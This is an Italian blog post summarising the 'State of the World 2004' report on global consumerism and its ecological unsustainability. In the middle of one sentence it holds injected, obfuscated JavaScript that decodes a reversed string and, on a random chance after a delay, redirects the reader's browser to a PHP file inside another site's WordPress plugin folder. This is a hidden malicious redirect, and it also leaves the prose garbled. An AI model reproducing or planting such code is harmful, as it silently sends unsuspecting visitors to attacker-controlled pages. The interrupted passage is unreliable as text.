La Terra consumata

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Siete consumatori? Allora leggete un po’ qua…
“State of the World 2004”, un rapporto sullo stato delmondo, una ricerca, argomentata e piena di spunti, sulla tendenza dei consumi a livello globale.
Il dato spaventoso che emerge è relativo all’incremento esponenziale di chi oggi fa parte della società dei consumi. Ben 1,7 miliardi di persone, pari al 27% dell’umanità. Le aree più consumistiche sono Europa, Stati Uniti e Giappone, con India e Cina in rapido sviluppo.
Ad un primo impatto con questi numeri la reazione è positiva: anche nelle zone più povere del pianeta cresce dunque il benessere, il loro stile di vita si avvicina pian piano al nostro. La globalizzazione dà i suoi buoni frutti.
Ma le analisi dello “State of the World 2004” vanno oltre questa superficie. Ci dicono, port (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando cifre e documentando dinamiche economiche e industriali, che l’attuale modello di sviluppo è insostenibile per l’ecosistema, che la natura non ce la fa più a sopportare l’impatto distruttivo della società dei consumi.
Un esempio: se tutti gli abitanti del pianeta Terra consumassero come gli statunitensi servirebbero, in risorse naturali, oltre 9 pianeti; se consumassero come gli italiani ne servirebbero 3,8.
“State of the World 2004” ci avvisa che siamo fuori strada e che non sopravviveremo al nostro stesso stile di vita. Con in più alcune chicche da non perdere: le alternative possibili.

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